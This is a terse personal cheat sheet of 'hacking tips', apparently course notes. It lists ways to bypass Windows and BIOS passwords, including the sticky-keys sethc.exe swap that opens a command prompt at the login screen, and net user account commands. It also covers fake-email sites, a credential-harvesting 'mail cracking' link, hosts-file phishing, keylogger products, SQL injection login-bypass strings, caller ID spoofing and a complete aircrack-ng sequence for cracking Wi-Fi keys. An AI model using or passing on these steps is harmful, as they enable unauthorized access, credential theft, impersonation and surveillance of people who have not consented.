

HACKING TIPS

BY NAYAN SETH

GPS – phone and silent and auto answer

CHANGE ADMIN PASSWORD

Live OS -

- 1. OphCrack
- 2. Offline Password Cracker
- 3. Hiren Multi Boot Disk
- 4. Active Password Changer
- 5. ERD Commander

DISABLE ADMIN PASSWORD

1. Offline Password Cracker

Syskey -> OFFLINE PASSWORD CRACKER

BOOT PASSWORD > thru bios

BIOS PASSWORD > thru bios

BIOMETRIC PASSWORD – Green Color Jumper. Remove and put it back.

WINDOWS ACTIVATION TOOL – WATremover.exe! Chk the file removing technique on youtube.

CMD TRICKS

run as admin in vista/7 & run normally in xp.

- 1. "net user" all accounts in the os
- 2. "net user accountname *" change password
- 3. "net user /add" add user
- 4. "net user /delete" delete user
- 5. "cacls: folder_name /e /p everyone: n" gives access to none
- 6. "cacls: folder_name /e /p everyone: f" everyone has access

enabling cmd in login screen using STICKY KEYS (sticky keys should be enabled)

for sticky keys the file is sethc.exe location is system32

copy cmd on desktop > rename it sethc > copy and paste sethc to system 32...

on windows 7 sticky keys can be enabled by the following ways:

- 1. right click sethc in system32 > security > advanced > change trusted user to administrators
- 2. right click sethc > security > edit
- 3. copy cmd on desktop > rename it sethc > copy and paste sethc to system 32...

OTHER ATTACKS

- 1. Shoulder Surfing
- 2. Social Engineering

STEGANOGRAPHY

take a image file and text file with the text go to notepad type copy /b image_name.extension + file_name.extension new_file_name.image_extension

copy this command > goto cmd>type "cd desktop"> paste the code u wrote in notepad

EMAIL ATTACKS

- 1. PostCast Server
- 2. Hmail Server
- 3. SurgeMail

for script google

Fake Mail From Websites

- 1. mail.anonymizer.name
- 2. mailz.funmaza.co.uk
- 3. fakemailer.info
- 4. fakemailer.net
- 5. fakesend.com

How To Find Whether Mail is FAKE OR NOT?

- 1. In your mail click on show original (for google, yahoo show header files at bottom)
- 2. Electronic Mail Tracing using IP

MAIL CRACKING

action

http://kyrion.in/download/adjgtr.php? id=yourid@mailinator.com&link=google.com

DESKTOP PHISHING > thru hosts file

KEYLOGGER

- 1. Cactus (By Kyrion)
- 2. Ardamax Keylogger
- 3. Home Keylogger
- 4. Family Keylogger
- 5. Golden Keylogger

SQL INJECTION

select * from server where username=telnet' or 'login'='login and password='telnet' or 'oracle'='oracle'

or

username - 1' or '1'='1 password - 1' or '1'='1

KEYWORDS FOR GOOGLE

- 1. site:name.com
- 2. inurl:
- 3. inurl: xxxx site: xxx.com

MOBILE CALLER ID SPOOFING

- 1. X-Lite 4
- 2. SIP CONNECTION
- 3. evaphone.com

WIFI HACKING

To check the name of the Wireless Card: iwconfig

To put the wireless card in Monitor Mode: airmon-ng start wifi0

To check the available Connections: airodump-ng ath1

To collect the data packets in a file: airodump-ng -c 11 --bssid bssid -w crack ath1

To Check the association with router: aireplay-ng -1 0 -a bssid -e Kyrion ath1

To ping the router again and again: aireplay-ng -3 -b bssid -e Kyrion ath1

To retrieve the password from the Data File: aircrack-ng -n 64 --bssid bssid crack-01.cap

channel
write
access
essid extended NETWORK NAME
BSSID basic MAC ADDRESS
n encryption

